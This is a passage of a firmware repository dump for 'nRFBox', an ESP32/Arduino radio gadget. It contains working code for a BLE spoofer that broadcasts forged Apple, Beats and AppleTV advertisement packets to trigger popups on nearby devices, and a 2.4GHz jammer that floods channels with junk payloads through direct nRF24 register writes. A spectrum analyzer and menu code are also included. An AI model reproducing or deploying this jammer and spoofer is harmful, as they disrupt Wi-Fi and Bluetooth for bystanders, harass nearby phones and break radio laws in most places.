u8g2.clearBuffer(); 73 | 74 | // Display device type 75 | u8g2.setFont(u8g2_font_profont11_tf); 76 | u8g2.drawStr(0, 10, "Device:"); 77 | int x = 0; 78 | int y = 25; 79 | 80 | 81 | switch (deviceType) { 82 | case 1: 83 | u8g2.drawStr(x, y, "[ Airpods ]"); 84 | break; 85 | case 2: 86 | u8g2.drawStr(x, y, "[ Airpods Pro ]"); 87 | break; 88 | case 3: 89 | u8g2.drawStr(x, y, "[ Airpods Max ]"); 90 | break; 91 | case 4: 92 | u8g2.drawStr(x, y, "[ Airpods Gen 2 ]"); 93 | break; 94 | case 5: 95 | u8g2.drawStr(x, y, "[ Airpods Gen 3 ]"); 96 | break; 97 | case 6: 98 | u8g2.drawStr(x, y, "[ Airpods Gen 2 ]"); 99 | break; 100 | case 7: 101 | u8g2.drawStr(x, y, "[ PowerBeats ]"); 102 | break; 103 | case 8: 104 | u8g2.drawStr(x, y, "[ PowerBeats Pro ]"); 105 | break; 106 | case 9: 107 | u8g2.drawStr(x, y, "[ Beats Solo Pro ]"); 108 | break; 109 | case 10: 110 | u8g2.drawStr(x, y, "[ Beats Buds ]"); 111 | break; 112 | case 11: 113 | u8g2.drawStr(x, y, "[ Beats Flex ]"); 114 | break; 115 | case 12: 116 | u8g2.drawStr(x, y, "[ BeatsX ]"); 117 | break; 118 | case 13: 119 | u8g2.drawStr(x, y, "[ Beats Solo3 ]"); 120 | break; 121 | case 14: 122 | u8g2.drawStr(x, y, "[ Beats Studio3 ]"); 123 | break; 124 | case 15: 125 | u8g2.drawStr(x, y, "[ Beats StudioPro ]"); 126 | break; 127 | case 16: 128 | u8g2.drawStr(x, y, "[ Beats FitPro ]"); 129 | break; 130 | case 17: 131 | u8g2.drawStr(x, y, "[ Beats BudsPlus ]"); 132 | break; 133 | case 18: 134 | u8g2.drawStr(x, y, "[ AppleTV Setup ]"); 135 | break; 136 | case 19: 137 | u8g2.drawStr(x, y, "[ AppleTV Pair ]"); 138 | break; 139 | case 20: 140 | u8g2.drawStr(x, y, "[ AppleTV NewUser ]"); 141 | break; 142 | case 21: 143 | u8g2.drawStr(x, y, "[ AppleTV ID ]"); 144 | break; 145 | case 22: 146 | u8g2.drawStr(x, y, "[ AppleTV Audio ]"); 147 | break; 148 | case 23: 149 | u8g2.drawStr(x, y, "[ AppleTV Homekit ]"); 150 | break; 151 | case 24: 152 | u8g2.drawStr(x, y, "[ AppleTV Keyboard ]"); 153 | break; 154 | case 25: 155 | u8g2.drawStr(x, y, "[ AppleTV Network ]"); 156 | break; 157 | case 26: 158 | u8g2.drawStr(x, y, "[ TVColorBalance ]"); 159 | break; 160 | default: 161 | u8g2.drawStr(x, y, "[ Airpods ]"); 162 | break; 163 | } 164 | 165 | u8g2.drawStr(0, 45, "Adv Type:"); 166 | 167 | switch (advType) { 168 | case 1: 169 | u8g2.drawStr(60, 45, "IND"); 170 | break; 171 | case 2: 172 | u8g2.drawStr(60, 45, "DIRECT HIGH"); 173 | break; 174 | case 3: 175 | u8g2.drawStr(60, 45, "SCAN"); 176 | break; 177 | case 4: 178 | u8g2.drawStr(60, 45, "NONCONN"); 179 | break; 180 | case 5: 181 | u8g2.drawStr(60, 45, "DIRECT LOW"); 182 | break; 183 | } 184 | 185 | u8g2.drawStr(0, 64, "Advertising:"); 186 | u8g2.setCursor(80, 64); 187 | u8g2.print(isAdvertising ? "Disable" : "Active"); 188 | 189 | u8g2.sendBuffer(); 190 | } 191 | 192 | void setAdvertisingData() { 193 | BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); 194 | 195 | switch (deviceType) { 196 | case 1: 197 | oAdvertisementData.setManufacturerData(std::string((char *)dataAirpods, 31)); 198 | break; 199 | case 2: 200 | oAdvertisementData.setManufacturerData(std::string((char *)dataAirpodsPro, 31)); 201 | break; 202 | case 3: 203 | oAdvertisementData.setManufacturerData(std::string((char *)dataAirpodsMax, 31)); 204 | break; 205 | case 4: 206 | oAdvertisementData.setManufacturerData(std::string((char *)dataAirpodsGen2, 31)); 207 | break; 208 | case 5: 209 | oAdvertisementData.setManufacturerData(std::string((char *)dataAirpodsGen3, 31)); 210 | break; 211 | case 6: 212 | oAdvertisementData.setManufacturerData(std::string((char *)dataAirpodsProGen2, 31)); 213 | break; 214 | case 7: 215 | oAdvertisementData.setManufacturerData(std::string((char *)dataPowerBeats, 31)); 216 | break; 217 | case 8: 218 | oAdvertisementData.setManufacturerData(std::string((char *)dataPowerBeatsPro, 31)); 219 | break; 220 | case 9: 221 | oAdvertisementData.setManufacturerData(std::string((char *)dataBeatsSoloPro, 31)); 222 | break; 223 | case 10: 224 | oAdvertisementData.setManufacturerData(std::string((char *)dataBeatsStudioBuds, 31)); 225 | break; 226 | case 11: 227 | oAdvertisementData.setManufacturerData(std::string((char *)dataBeatsFlex, 31)); 228 | break; 229 | case 12: 230 | oAdvertisementData.setManufacturerData(std::string((char *)dataBeatsX, 31)); 231 | break; 232 | case 13: 233 | oAdvertisementData.setManufacturerData(std::string((char *)dataBeatsSolo3, 31)); 234 | break; 235 | case 14: 236 | oAdvertisementData.setManufacturerData(std::string((char *)dataBeatsStudio3, 31)); 237 | break; 238 | case 15: 239 | oAdvertisementData.setManufacturerData(std::string((char *)dataBeatsStudioPro, 31)); 240 | break; 241 | case 16: 242 | oAdvertisementData.setManufacturerData(std::string((char *)dataBeatsFitPro, 31)); 243 | break; 244 | case 17: 245 | oAdvertisementData.setManufacturerData(std::string((char *)dataBeatsStudioBudsPlus, 31)); 246 | break; 247 | case 18: 248 | oAdvertisementData.setManufacturerData(std::string((char *)dataAppleTVSetup, 31)); 249 | break; 250 | case 19: 251 | oAdvertisementData.setManufacturerData(std::string((char *)dataAppleTVPair, 31)); 252 | break; 253 | case 20: 254 | oAdvertisementData.setManufacturerData(std::string((char *)dataAppleTVNewUser, 31)); 255 | break; 256 | case 21: 257 | oAdvertisementData.setManufacturerData(std::string((char *)dataAppleTVAppleIDSetup, 31)); 258 | break; 259 | case 22: 260 | oAdvertisementData.setManufacturerData(std::string((char *)dataAppleTVWirelessAudioSync, 31)); 261 | break; 262 | case 23: 263 | oAdvertisementData.setManufacturerData(std::string((char *)dataAppleTVHomekitSetup, 31)); 264 | break; 265 | case 24: 266 | oAdvertisementData.setManufacturerData(std::string((char *)dataAppleTVKeyboard, 31)); 267 | break; 268 | case 25: 269 | oAdvertisementData.setManufacturerData(std::string((char *)dataAppleTVConnectingToNetwork, 31)); 270 | break; 271 | case 26: 272 | oAdvertisementData.setManufacturerData(std::string((char *)dataTVColorBalance, 31)); 273 | break; 274 | default: 275 | oAdvertisementData.setManufacturerData(std::string((char *)dataAirpods, 31)); 276 | break; 277 | 278 | pAdvertising->setAdvertisementData(oAdvertisementData); 279 | Serial.println("Advertising data set."); 280 | updateDisplay(); 281 | } 282 | } 283 | 284 | void handleButtonPress(int pin, void (*callback)()) { 285 | int reading = digitalRead(pin); 286 | 287 | if (reading == LOW) { 288 | unsigned long currentTime = millis(); 289 | delay(300); 290 | updateDisplay(); 291 | 292 | if ((currentTime - lastDebounceTime) > debounceDelay) { 293 | callback(); 294 | lastDebounceTime = currentTime; 295 | } 296 | } 297 | } 298 | 299 | void changeDeviceTypeNext() { 300 | deviceType++; 301 | if (deviceType > 26) deviceType = 1; 302 | Serial.println("Device Type Next: " + String(deviceType)); 303 | setAdvertisingData(); 304 | updateDisplay(); 305 | } 306 | 307 | void changeDeviceTypePrev() { 308 | deviceType--; 309 | if (deviceType < 1) deviceType = 26; 310 | Serial.println("Device Type Prev: " + String(deviceType)); 311 | setAdvertisingData(); 312 | updateDisplay(); 313 | } 314 | 315 | void changeAdvTypeNext() { 316 | advType++; 317 | if (advType > 5) advType = 1; 318 | Serial.println("Advertising Type Next: " + String(advType)); 319 | setAdvertisingData(); 320 | updateDisplay(); 321 | } 322 | 323 | void changeAdvTypePrev() { 324 | advType--; 325 | if (advType < 1) advType = 5; 326 | Serial.println("Advertising Type Prev: " + String(advType)); 327 | setAdvertisingData(); 328 | updateDisplay(); 329 | } 330 | 331 | void toggleAdvertising() { 332 | if (isAdvertising) { 333 | pAdvertising->stop(); 334 | Serial.println("Advertising stopped."); 335 | updateDisplay(); 336 | } else { 337 | pAdvertising->start(); 338 | Serial.println("Advertising started."); 339 | updateDisplay(); 340 | } 341 | isAdvertising = !isAdvertising; 342 | } 343 | 344 | 345 | void spooferSetup(){ 346 | 347 | Serial.begin(115200); 348 | Serial.println("Starting ESP32 BLE"); 349 | 350 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); //This should increase transmitting power to 9dBm 351 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); //Not sure if this works with NimBLE 352 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN ,ESP_PWR_LVL_P9); 353 | 354 | u8g2.begin(); 355 | updateDisplay(); 356 | 357 | BLEDevice::init(""); 358 | 359 | BLEServer *pServer = BLEDevice::createServer(); 360 | 361 | pAdvertising = pServer->getAdvertising(); 362 | BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); 363 | 364 | pinMode(deviceTypeNextPin, INPUT_PULLUP); 365 | pinMode(deviceTypePrevPin, INPUT_PULLUP); 366 | pinMode(advTypeNextPin, INPUT_PULLUP); 367 | //pinMode(advTypePrevPin, INPUT_PULLUP); 368 | pinMode(advControlPin, INPUT_PULLUP); 369 | } 370 | 371 | void spooferLoop(){ 372 | 373 | handleButtonPress(deviceTypeNextPin, changeDeviceTypeNext); 374 | handleButtonPress(deviceTypePrevPin, changeDeviceTypePrev); 375 | handleButtonPress(advTypeNextPin, changeAdvTypeNext); 376 | //handleButtonPress(advTypePrevPin, changeAdvTypePrev); 377 | handleButtonPress(advControlPin, toggleAdvertising); 378 | 379 | } 380 | -------------------------------------------------------------------------------- /VScode Platformio/src/spoofer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef spoofer_H 7 | #define spoofer_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | void spooferSetup(); 15 | void spooferLoop(); 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /VScode Platformio/test/README: -------------------------------------------------------------------------------- 1 | 2 | This directory is intended for PlatformIO Test Runner and project tests. 3 | 4 | Unit Testing is a software testing method by which individual units of 5 | source code, sets of one or more MCU program modules together with associated 6 | control data, usage procedures, and operating procedures, are tested to 7 | determine whether they are fit for use. Unit testing finds problems early 8 | in the development cycle. 9 | 10 | More information about PlatformIO Unit Testing: 11 | - https://docs.platformio.org/en/latest/advanced/unit-testing/index.html 12 | -------------------------------------------------------------------------------- /icons/ICONs.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/ICONs.psd -------------------------------------------------------------------------------- /icons/analyzer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/analyzer.png -------------------------------------------------------------------------------- /icons/apple.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/apple.png -------------------------------------------------------------------------------- /icons/arrow_left.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/arrow_left.png -------------------------------------------------------------------------------- /icons/arrow_right.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/arrow_right.png -------------------------------------------------------------------------------- /icons/ble jammer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/ble jammer.png -------------------------------------------------------------------------------- /icons/ble.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/ble.png -------------------------------------------------------------------------------- /icons/ble_jammer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/ble_jammer.png -------------------------------------------------------------------------------- /icons/bluetooth_jammer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/bluetooth_jammer.png -------------------------------------------------------------------------------- /icons/brain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/brain.png -------------------------------------------------------------------------------- /icons/cctv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/cctv.png -------------------------------------------------------------------------------- /icons/character.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/character.png -------------------------------------------------------------------------------- /icons/dialog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/dialog.png -------------------------------------------------------------------------------- /icons/follow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/follow.png -------------------------------------------------------------------------------- /icons/game1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/game1.bmp -------------------------------------------------------------------------------- /icons/game2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/game2.bmp -------------------------------------------------------------------------------- /icons/jammer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/jammer.png -------------------------------------------------------------------------------- /icons/key.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/key.png -------------------------------------------------------------------------------- /icons/kill.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/kill.png -------------------------------------------------------------------------------- /icons/logo_cifer.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/logo_cifer.bmp -------------------------------------------------------------------------------- /icons/logo_flip.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/logo_flip.bmp -------------------------------------------------------------------------------- /icons/nrf24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/nrf24.png -------------------------------------------------------------------------------- /icons/pattern.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/pattern.psd -------------------------------------------------------------------------------- /icons/question.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/question.png -------------------------------------------------------------------------------- /icons/rc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/rc.png -------------------------------------------------------------------------------- /icons/save.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/save.png -------------------------------------------------------------------------------- /icons/setting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/setting.png -------------------------------------------------------------------------------- /icons/signal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/signal.png -------------------------------------------------------------------------------- /icons/skull.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/skull.png -------------------------------------------------------------------------------- /icons/spoofer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/spoofer.png -------------------------------------------------------------------------------- /icons/stat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/stat.png -------------------------------------------------------------------------------- /icons/sword.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/sword.png -------------------------------------------------------------------------------- /icons/usb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/usb.png -------------------------------------------------------------------------------- /icons/wifi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/wifi.png -------------------------------------------------------------------------------- /icons/wifi2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/wifi2.png -------------------------------------------------------------------------------- /icons/wifi_jammer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/wifi_jammer.png -------------------------------------------------------------------------------- /icons/zigbee.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/icons/zigbee.png -------------------------------------------------------------------------------- /nRFBox/Analyzer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nRFBox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "Analyzer.h" 8 | 9 | extern Adafruit_SSD1306 display; 10 | extern Adafruit_NeoPixel pixels; 11 | 12 | RF24 radio(9, 10); 13 | 14 | #define N 128 15 | uint8_t value[N]; 16 | 17 | #define SCREEN_WIDTH 128 18 | #define SCREEN_HEIGHT 32 19 | 20 | int xOffset = 0; 21 | int yOffset = 0; 22 | 23 | 24 | void AnalyzerSetup(){ 25 | 26 | Serial.begin(9600); 27 | 28 | display.clearDisplay(); 29 | display.display(); 30 | 31 | radio.begin(); 32 | radio.setAutoAck(false); 33 | 34 | } 35 | 36 | 37 | void AnalyzerLoop(){ 38 | 39 | memset(value, 0, sizeof(value)); 40 | 41 | int n = 50; 42 | while (n--) { 43 | pixels.setPixelColor(0, pixels.Color(2, 0, 2)); 44 | pixels.show(); 45 | int i = N; 46 | while (i--) { 47 | radio.setChannel(i); 48 | radio.startListening(); 49 | delayMicroseconds(128); 50 | radio.stopListening(); 51 | if(radio.testCarrier()) { 52 | ++value[i]; 53 | 54 | pixels.setPixelColor(0, pixels.Color(0, 2, 2)); 55 | pixels.show(); 56 | 57 | }; 58 | } 59 | } 60 | 61 | display.clearDisplay(); 62 | int barWidth = SCREEN_WIDTH / N; 63 | int x = xOffset; 64 | for (int i = 0; i < N; ++i) { 65 | int v = 31 - value[i] * 3 + yOffset; // Adjusted the y value 66 | if(v < 0) { 67 | v = 0; 68 | } 69 | display.drawFastVLine(x, v - 10, 32 - v, WHITE); 70 | x += barWidth; 71 | } 72 | display.setTextSize(1); 73 | display.setTextColor(WHITE); 74 | display.setCursor(0, SCREEN_HEIGHT - 8); 75 | display.println("1..10...50...80...128"); // Print the range values 76 | display.display(); 77 | 78 | delay(50); 79 | } 80 | -------------------------------------------------------------------------------- /nRFBox/Analyzer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nRFBox 4 | ________________________________________ */ 5 | 6 | #ifndef Analyzer_H 7 | #define Analyzer_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "nRF24L01.h" 14 | #include "RF24.h" 15 | 16 | void AnalyzerSetup(); 17 | void AnalyzerLoop(); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /nRFBox/jammer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nRFBox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "jammer.h" 8 | 9 | #define BT1 2 10 | #define BT2 3 11 | 12 | extern Adafruit_SSD1306 display; 13 | extern Adafruit_NeoPixel pixels; 14 | 15 | const int num_channels = 64; 16 | int values[num_channels]; 17 | int valuesDisplay[32]; 18 | int channel = 0; 19 | const int num_reps = 50; 20 | bool jamming = false; 21 | const byte address[6] = "00001"; 22 | 23 | 24 | void radioConfig() { 25 | digitalWrite(9, HIGH); 26 | delayMicroseconds(150); 27 | 28 | SPI.beginTransaction(SPISettings(10000000, MSBFIRST, SPI_MODE0)); 29 | digitalWrite(10, LOW); 30 | 31 | SPI.transfer(0x20 | (0x06 & 0x07)); 32 | SPI.transfer(0x07); 33 | 34 | SPI.transfer(0x20 | (0x05 & 0x07)); 35 | SPI.transfer(0x08); 36 | 37 | digitalWrite(10, HIGH); 38 | SPI.endTransaction(); 39 | } 40 | 41 | 42 | void radioWrite(const void* buf, uint8_t len) { 43 | SPI.beginTransaction(SPISettings(10000000, MSBFIRST, SPI_MODE0)); 44 | digitalWrite(10, LOW); 45 | 46 | SPI.transfer(0xA0); 47 | for (uint8_t i = 0; i < len; i++) { 48 | SPI.transfer(((const uint8_t*)buf)[i]); 49 | } 50 | 51 | digitalWrite(10, HIGH); 52 | SPI.endTransaction(); 53 | 54 | delayMicroseconds(150); 55 | } 56 | 57 | 58 | void radioSetChannel(int channel) { 59 | SPI.beginTransaction(SPISettings(10000000, MSBFIRST, SPI_MODE0)); 60 | digitalWrite(10, LOW); 61 | 62 | SPI.transfer(0x20 | (0x05 & 0x07)); 63 | SPI.transfer(0x90 | (channel & 0x7F)); 64 | 65 | digitalWrite(10, HIGH); 66 | SPI.endTransaction(); 67 | } 68 | 69 | 70 | void jammer() { 71 | const char text[] = "xxxxxxxxxxxxxxxx"; 72 | for (int i = ((channel * 5) + 1); i < ((channel * 5) + 23); i++) { 73 | radioSetChannel(i); 74 | radioWrite(&text, sizeof(text)); 75 | } 76 | } 77 | 78 | 79 | void pressBt01() { 80 | static unsigned long last_interrupt_time = 0; 81 | unsigned long interrupt_time = millis(); 82 | if (interrupt_time - last_interrupt_time > 200) { 83 | if (channel < 13) { 84 | channel++; 85 | } else { 86 | channel = 0; 87 | } 88 | } 89 | last_interrupt_time = interrupt_time; 90 | pixels.setPixelColor(0, pixels.Color(5, 0, 5)); 91 | pixels.show(); 92 | } 93 | 94 | 95 | void pressBt02() { 96 | jamming = !jamming; 97 | delay(200); 98 | } 99 | 100 | 101 | void jammerSetup() { 102 | 103 | Serial.begin(115200); 104 | 105 | pinMode(BT1, INPUT_PULLUP); 106 | pinMode(BT2, INPUT_PULLUP); 107 | 108 | SPI.begin(); 109 | SPI.setDataMode(SPI_MODE0); 110 | SPI.setBitOrder(MSBFIRST); 111 | SPI.setClockDivider(SPI_CLOCK_DIV2); 112 | 113 | pinMode(9, OUTPUT); 114 | digitalWrite(9, LOW); 115 | 116 | pinMode(10, OUTPUT); 117 | digitalWrite(10, HIGH); 118 | 119 | } 120 | 121 | 122 | void jammerLoop() { 123 | 124 | attachInterrupt(digitalPinToInterrupt(BT1), pressBt01, FALLING); 125 | attachInterrupt(digitalPinToInterrupt(BT2), pressBt02, FALLING); 126 | 127 | for (int i = 0; i <= 100; i++) { 128 | 129 | display.clearDisplay(); 130 | if (!jamming) { 131 | display.setCursor(80, 20); 132 | display.println("disabled"); 133 | pixels.setPixelColor(0, pixels.Color(0, 5, 0)); 134 | pixels.show(); 135 | } 136 | if (jamming) { 137 | display.setCursor(100, 20); 138 | display.print(i); 139 | display.println("%"); 140 | pixels.setPixelColor(0, pixels.Color(5, 0, 0)); 141 | pixels.show(); 142 | } 143 | 144 | display.setTextSize(1); 145 | display.setTextColor(SSD1306_WHITE); 146 | display.setCursor(100, 10); 147 | display.print("["); 148 | display.print(channel); 149 | display.println("]"); 150 | 151 | display.setTextSize(1); 152 | display.setTextColor(SSD1306_WHITE); 153 | display.setCursor(0, 0); 154 | display.println("frequency"); 155 | display.setCursor(90, 0); 156 | display.println("2.4GHz"); 157 | 158 | display.setCursor(0, 10); 159 | display.println("channel"); 160 | 161 | display.setCursor(0, 20); 162 | display.println("progress"); 163 | 164 | display.display(); 165 | } 166 | 167 | if (jamming) { 168 | Serial.println(("JAMMING CHANNEL" + String(channel + 1))); 169 | radioConfig(); 170 | } 171 | while (jamming) { 172 | jammer(); 173 | } 174 | } 175 | -------------------------------------------------------------------------------- /nRFBox/jammer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nRFBox 4 | ________________________________________ */ 5 | 6 | #ifndef jammer_H 7 | #define jammer_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | void jammerSetup(); 16 | void jammerLoop(); 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /nRFBox/menu.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nRFBox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "menu.h" 8 | 9 | extern Adafruit_SSD1306 display; 10 | extern Adafruit_NeoPixel pixels; 11 | 12 | int selected = 0; 13 | int entered = -1; 14 | 15 | 16 | void menuSetup() { 17 | 18 | pinMode(2, INPUT_PULLUP); 19 | pinMode(3, INPUT_PULLUP); 20 | pinMode(4, INPUT_PULLUP); 21 | pinMode(6, INPUT_PULLUP); 22 | 23 | display.clearDisplay(); 24 | 25 | display.setTextSize(2); 26 | display.setTextColor(SSD1306_WHITE); 27 | display.setCursor(20, 5); 28 | display.println("nRF-BOX"); 29 | display.setTextSize(1); 30 | display.setCursor(20, 20); 31 | display.println("by CiferTech"); 32 | 33 | display.display(); 34 | delay(3000); 35 | 36 | if (entered == -1) scannerSetup(); 37 | if (entered == 1) jammerSetup(); 38 | if (entered == 2) AnalyzerSetup(); 39 | } 40 | 41 | 42 | void displaymenu(void) { 43 | 44 | int down = digitalRead(2); 45 | int up = digitalRead(3); 46 | int enter = digitalRead(4); 47 | int back = digitalRead(6); 48 | 49 | 50 | if (up == LOW){ 51 | selected = selected + 1; 52 | if (selected > 2) 53 | selected = 2; 54 | delay(200); 55 | }; 56 | if (down == LOW){ 57 | selected = selected - 1; 58 | if (selected < 0) 59 | selected = 0; 60 | delay(200); 61 | }; 62 | if (enter == LOW) { 63 | entered = selected; 64 | }; 65 | if (back == LOW) { 66 | entered = -1; 67 | }; 68 | if (up == LOW && down == LOW){ 69 | entered = -1; 70 | }; 71 | 72 | 73 | const char *options[4] = { 74 | " Rf Scanner ", 75 | " 2.4 jammer ", 76 | " Analyzer " 77 | }; 78 | 79 | 80 | switch (entered) { 81 | case -1: // Main Menu 82 | pixels.setPixelColor(0, pixels.Color(3, 0, 3)); 83 | pixels.show(); 84 | display.clearDisplay(); 85 | display.setTextSize(1); 86 | display.setTextColor(SSD1306_WHITE); 87 | display.setCursor(0, 0); 88 | display.println("nRF-BOX"); 89 | 90 | for (int i = 0; i < 4; i++) { 91 | if (i == selected) { 92 | //display.setTextColor(SSD1306_BLACK, SSD1306_WHITE); 93 | display.print(">"); 94 | display.println(options[i]); 95 | } else if (i != selected) { 96 | display.setTextColor(SSD1306_WHITE); 97 | display.println(options[i]); 98 | } 99 | } 100 | break; 101 | 102 | case 0: 103 | if (up == LOW) entered = -1; 104 | scannerLoop(); 105 | break; 106 | 107 | case 1: 108 | jammerLoop(); 109 | break; 110 | 111 | case 2: 112 | AnalyzerLoop(); 113 | break; 114 | 115 | default: 116 | break; 117 | } 118 | 119 | display.display(); 120 | } 121 | 122 | void menuLoop() { 123 | 124 | displaymenu(); 125 | 126 | } 127 | -------------------------------------------------------------------------------- /nRFBox/menu.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nRFBox 4 | ________________________________________ */ 5 | 6 | #ifndef menu_H 7 | #define menu_H 8 | 9 | #include "scanner.h" 10 | #include "jammer.h" 11 | #include "Analyzer.h" 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | void menuSetup(); 20 | void menuLoop(); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /nRFBox/nRFBox.ino: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nRFBox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "menu.h" 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define SCREEN_WIDTH 128 16 | #define SCREEN_HEIGHT 32 17 | 18 | Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, -1); 19 | Adafruit_NeoPixel pixels(1, 5, NEO_GRB + NEO_KHZ800); 20 | 21 | 22 | void setup() { 23 | 24 | pixels.begin(); 25 | 26 | display.begin(SSD1306_SWITCHCAPVCC, 0x3C); 27 